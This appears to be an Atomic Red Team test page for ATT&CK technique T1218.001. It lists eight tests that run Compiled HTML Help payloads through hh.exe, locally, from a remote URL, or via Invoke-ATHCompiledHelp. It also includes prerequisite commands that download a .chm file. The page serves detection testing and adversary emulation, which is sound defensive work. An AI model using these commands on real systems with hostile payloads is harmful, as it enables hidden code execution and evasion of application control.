T1218.001 - Signed Binary Proxy Execution: Compiled HTML File

Description from ATT&CK

Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program) A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

Atomic Tests


Atomic Test #1 - Compiled HTML Help Local Payload

Uses hh.exe to execute a local compiled HTML Help payload. Upon execution calc.exe will open

Supported Platforms: Windows

auto_generated_guid: 5cb87818-0d7c-4469-b7ef-9224107aebe8

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | local_chm_file | Local .chm payload | path | PathToAtomicsFolder\T1218.001\src\T1218.001.chm|

Attack Commands: Run with 
1

command_prompt
!

hh.exe "#{local_chm_file}"

Dependencies: Run with 
1

powershell
!

Description: The payload must exist on disk at specified location (#{local_chm_file})
Check Prereq Commands:
1

if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2

New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"



Atomic Test #2 - Compiled HTML Help Remote Payload

Uses hh.exe to execute a remote compiled HTML Help payload. Upon execution displays an error saying the file cannot be open

Supported Platforms: Windows

auto_generated_guid: 0f8af516-9818-4172-922b-42986ef1e81d

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | remote_chm_file | Remote .chm payload | url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.001/src/T1218.001.chm|

Attack Commands: Run with 
1

command_prompt
!

hh.exe #{remote_chm_file}



Atomic Test #3 - Invoke CHM with default Shortcut Command Execution

Executes a CHM file with the default Shortcut Command method.

Supported Platforms: Windows

auto_generated_guid: 29d6f0d7-be63-4482-8827-ea77126c1ef7

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | chm_file_path | Default path of CHM | string | Test.chm| | hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe|

Attack Commands: Run with 
1

powershell
!

1

Invoke-ATHCompiledHelp -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies: Run with 
1

powershell
!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Check Prereq Commands:
1
2
3

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Get Prereq Commands:
1

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force



Atomic Test #4 - Invoke CHM with InfoTech Storage Protocol Handler

Executes a CHM file with the ITS protocol handler.

Supported Platforms: Windows

auto_generated_guid: b4094750-5fc7-4e8e-af12-b4e36bf5e7f6

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe| | infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its| | chm_file_path | Default path of CHM | string | Test.chm|

Attack Commands: Run with 
1

powershell
!

1

Invoke-ATHCompiledHelp -InfoTechStorageHandler #{infotech_storage_handler} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies: Run with 
1

powershell
!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Check Prereq Commands:
1
2
3

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Get Prereq Commands:
1

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force



Atomic Test #5 - Invoke CHM Simulate Double click

Executes a CHM file simulating a user double click.

Supported Platforms: Windows

auto_generated_guid: 5decef42-92b8-4a93-9eb2-877ddcb9401a

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | chm_file_path | Default path of CHM | string | Test.chm|

Attack Commands: Run with 
1

powershell
!

1

Invoke-ATHCompiledHelp -SimulateUserDoubleClick -CHMFilePath #{chm_file_path}

Dependencies: Run with 
1

powershell
!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Check Prereq Commands:
1
2
3

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Get Prereq Commands:
1

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force



Atomic Test #6 - Invoke CHM with Script Engine and Help Topic

Executes a CHM file with a defined script engine, ITS Protocol Handler, and help topic extension.

Supported Platforms: Windows

auto_generated_guid: 4f83adda-f5ec-406d-b318-9773c9ca92e5

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | topic_extension | Default Help Topic | string | html| | hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe| | infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its| | script_engine | Default Script Engine | string | JScript| | chm_file_path | Default path of CHM | string | Test.chm|

Attack Commands: Run with 
1

powershell
!

1

Invoke-ATHCompiledHelp -ScriptEngine #{script_engine} -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies: Run with 
1

powershell
!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Check Prereq Commands:
1
2
3

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Get Prereq Commands:
1

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force



Atomic Test #7 - Invoke CHM Shortcut Command with ITS and Help Topic

Executes a CHM file using the Shortcut Command method with a defined ITS Protocol Handler, and help topic extension.

Supported Platforms: Windows

auto_generated_guid: 15756147-7470-4a83-87fb-bb5662526247

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | topic_extension | Default Help Topic | string | html| | hh_file_path | path of modified HH.exe | path | $env:windir\hh.exe| | infotech_storage_handler | Default InfoTech Storage Protocol Handler | string | its| | chm_file_path | Default path of CHM | string | Test.chm|

Attack Commands: Run with 
1

powershell
!

1

Invoke-ATHCompiledHelp -ExecuteShortcutCommand -InfoTechStorageHandler #{infotech_storage_handler} -TopicExtension #{topic_extension} -HHFilePath #{hh_file_path} -CHMFilePath #{chm_file_path}

Dependencies: Run with 
1

powershell
!

Description: The AtomicTestHarnesses module must be installed and Invoke-ATHCompiledHelp must be exported in the module.
Check Prereq Commands:
1
2
3

$RequiredModule = Get-Module -Name AtomicTestHarnesses -ListAvailable
if (-not $RequiredModule) {exit 1}
if (-not $RequiredModule.ExportedCommands['Invoke-ATHCompiledHelp']) {exit 1} else {exit 0}
Get Prereq Commands:
1

Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force



Atomic Test #8 - Decompile Local CHM File

Uses hh.exe to decompile a local compiled HTML Help file. Upon successful execution the chm file will decompile to disk. Reference:https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/

Supported Platforms: Windows

auto_generated_guid: 20cb05e0-1fa5-406d-92c1-84da4ba01813

Inputs:

| Name | Description | Type | Default Value | |——|————-|——|—————| | local_chm_file | Local .chm payload | path | PathToAtomicsFolder\T1218.001\src\T1218.001.chm|

Attack Commands: Run with 
1

command_prompt
!

hh.exe -decompile %temp% "#{local_chm_file}"

Cleanup Commands:

del %temp%\T1218.001.html >nul 2>&1

Dependencies: Run with 
1

powershell
!

Description: The payload must exist on disk at specified location (#{local_chm_file})
Check Prereq Commands:
1

if (Test-Path "#{local_chm_file}") {exit 0} else {exit 1}
Get Prereq Commands:
1
2

New-Item -Type Directory (split-path "#{local_chm_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.001/src/T1218.001.chm" -OutFile "#{local_chm_file}"